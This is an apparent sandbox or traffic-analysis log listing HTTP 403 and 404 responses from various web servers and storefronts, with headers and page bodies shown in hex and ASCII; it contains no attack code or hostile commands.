Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:18:45 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:46 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:46 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cache, must-revalidateContent-Length: 2059Content-Type: text/html; charset=UTF-8Date: Fri, 25 Oct 2024 09:18:47 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: PDQxbCRS/6THY0QKYData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:47 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:47 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:47 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Date: Fri, 25 Oct 2024 09:18:47 GMTHost: 127.0.0.1:8086Server: nginx/1.21.6X-Powered-By: PbootCMSX-Ua-Compatible: IE=edge,chrome=1Transfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:48 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 376x-sorting-hat-shopid: 61843439788x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=a2d24338-3a66-4227-b4a9-74cc30e3fa89; path=/; expires=Fri, 25 Oct 2024 09:48:50 GMT; HttpOnly; SameSite=Laxset-cookie: cart_currency=GBP; path=/; expires=Fri, 08 Nov 2024 09:18:50 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 26 Oct 2024 09:18:50 GMT; SameSite=Laxset-cookie: _shopify_y=a33c6b7a-413d-41cc-a563-ce4e4082ffc1; Expires=Sat, 25-Oct-25 09:18:50 GMT; Domain=snugpak.com; Path=/; SameSite=Laxset-cookie: _shopify_s=e9eb636e-e68c-4fb3-9243-c4ff85365f5a; Expires=Fri, 25-Oct-24 09:48:50 GMT; Domain=snugpak.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin, <https://cdn.sData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:19:06 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YE7zfhZ%2FeV9OP14V5YfC%2B3Bhhvh2b2hs7sKeapOgM8tlbCdYJDMhRvRecWCwCQtmyvWOVuZs%2BCDGyHxfEZ%2FvlClKOplQbZ5xnIDO4pDZp1C6zPY9Y3KV0cVLzruhvOdY"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811f25ad894678-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1204&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=780&delivery_rate=0&cwnd=245&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c Data Ascii: 11a1<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveDate: Fri, 25 Oct 2024 09:18:52 GMTX-Cache-Status: Server: ZENEDGECache-Control: no-storeCache-Control: no-cache, no-store, must-revalidateCache-Control: max-age=0X-Zen-Fury: 84b6e59fa22de44ae5e211c52024a52e2cfcf0a6Data Raw: 32 61 61 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 69 66 20 28 74 79 70 65 6f 66 28 5f 5f 5f 7a 65 6e 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 73 65 74 54 69 6d 65 6f 75 74 28 61 72 67 75 6d 65 6e 74 73 2e 63 61 6c 6c 65 65 2c 20 35 30 29 3b 20 72 65 74 75 72 6e 3b 20 7d 5f 5f 5f 7a 65 6e 2e 68 69 63 28 22 5f 5f 5a 45 48 49 43 31 37 38 30 22 2c 20 31 37 32 39 38 34 37 39 32 32 2c 20 31 2c 20 30 2c 20 36 30 29 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 68 69 63 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 64 69 76 3e 3c 68 31 3e 34 30 33 3c 2f 68 31 3e 3c 2f 64 69 76 3e 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 66 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 76 61 72 20 76 20 3d 20 31 37 32 39 38 34 37 38 36 32 20 2a 20 33 2e 31 34 31 35 39 32 36 35 33 35 38 39 38 3b 20 76 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 76 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 5f 5f 7a 6a 63 32 30 30 33 3d 22 2b 76 2b 22 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 32 35 20 4f 63 74 20 32 30 32 34 20 30 39 3a 32 30 3a 35 32 20 55 54 43 3b 20 70 61 74 68 3d 2f 22 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 2aa<html><head><title>403 Forbidden</title><script type="text/javascript">(function(){ if (typeof(___zen) === "undefined") {setTimeout(arguments.callee, 50); return; }___zen.hic("__ZEHIC1780", 1729847922, 1, 0, 60); })()</script><script type="text/javascript" async="async" src="/__zenedge/assets/hic.js?v=1674207422"></script></head><body><center><div><h1>403</h1></div><h1>Forbidden</h1></center><script type="text/javascript" async="async" src="/__zenedge/assets/f.js?v=1674207422"></script><script>(function () { var v = 1729847862 * 3.1415926535898; v = Math.floor(v); do
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:18:53 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 216x-sorting-hat-shopid: 66042101977x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=9cce0a2d-e155-43d3-b3d2-809f42638c3c; path=/; expires=Fri, 25 Oct 2024 09:48:53 GMT; HttpOnly; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=domon.com; path=/; expires=Sat, 26 Oct 2024 09:18:53 GMT; SameSite=Laxset-cookie: _shopify_y=6f5643c3-b65e-4741-b5cc-83a5ceb701a0; Expires=Sat, 25-Oct-25 09:18:53 GMT; Domain=domon.com; Path=/; SameSite=Laxset-cookie: _shopify_s=110ad47b-2c89-48a0-abb5-3d885d22b876; Expires=Fri, 25-Oct-24 09:48:53 GMT; Domain=domon.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginx-frame-options: DENYcontent-security-policy: 